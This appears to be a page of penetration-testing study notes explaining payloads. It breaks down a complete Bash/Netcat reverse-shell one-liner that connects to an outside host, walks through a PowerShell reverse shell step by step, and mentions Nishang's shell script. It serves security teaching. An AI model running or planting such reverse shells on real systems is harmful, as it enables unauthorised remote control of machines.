search

Introduction to Payloads

Here are your notes on “Introduction to Payloads” — broken down, simplified, and easy to revise 📘💡

hashtag
🔐 What Is a Payload?

  • In cybersecurity, a payload is the actual code/command delivered to a system to exploit it.

  • It executes a specific action (e.g., open a shell, steal data).

  • It can be blocked by defenses like antivirus (e.g., Windows Defender).

  • Think of it like the message in an email — it's what gets delivered and executed.

hashtag
💣 Bash/Netcat Reverse Shell One-Liner Breakdown

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f

Step-by-step:

  1. rm -f /tmp/f; → Removes the FIFO file if it exists.

  2. mkfifo /tmp/f; → Creates a named pipe (FIFO).

  3. cat /tmp/f | → Reads from the pipe.

  4. /bin/bash -i 2>&1 | → Interactive Bash, redirects stderr to stdout.

  5. nc 10.10.14.12 7777 > /tmp/f → Opens connection to attacker, sends output to the pipe.

📌 Used on Linux to get a reverse shell via Netcat.

hashtag
🧠 PowerShell Reverse Shell One-Liner Breakdown

Step-by-step:

  1. powershell -nop -c → Runs PowerShell with no profile and executes command.

  2. $client = ...TCPClient(IP, Port); → Creates a TCP socket to attacker's IP.

  3. $stream = $client.GetStream(); → Opens stream for communication.

  4. [byte[]]$bytes = 0..65535|%{0}; → Creates an empty byte array.

  5. while(...) → Listens for incoming commands.

  6. GetString(...) → Converts bytes to readable text.

  7. iex $data → Executes the received command (Invoke-Expression).

  8. Out-String → Converts output to string.

  9. Get-Location → Returns the prompt (e.g., PS C:>).

  10. GetBytes(...) → Encodes output to send back.

  11. $stream.Write(...) → Sends data back to attacker.

  12. $client.Close() → Closes the connection.

📌 Used on Windows for reverse shells via PowerShell.

hashtag
🧰 PowerShell TCP Shell Script Example (Nishang)

  • Invoke-PowerShellTcp is a function/script for reverse or bind shells.

  • Parameters:

    • -Reverse: connects to the attacker.

    • -Bind: listens for incoming connection.

  • Based on .NET TCPClient and TCPListener.

  • Automates reverse/bind connections for penetration testers.

🧩 Links to:

PreviousCreating PayloadsNextMetasploit Payloads

Last updated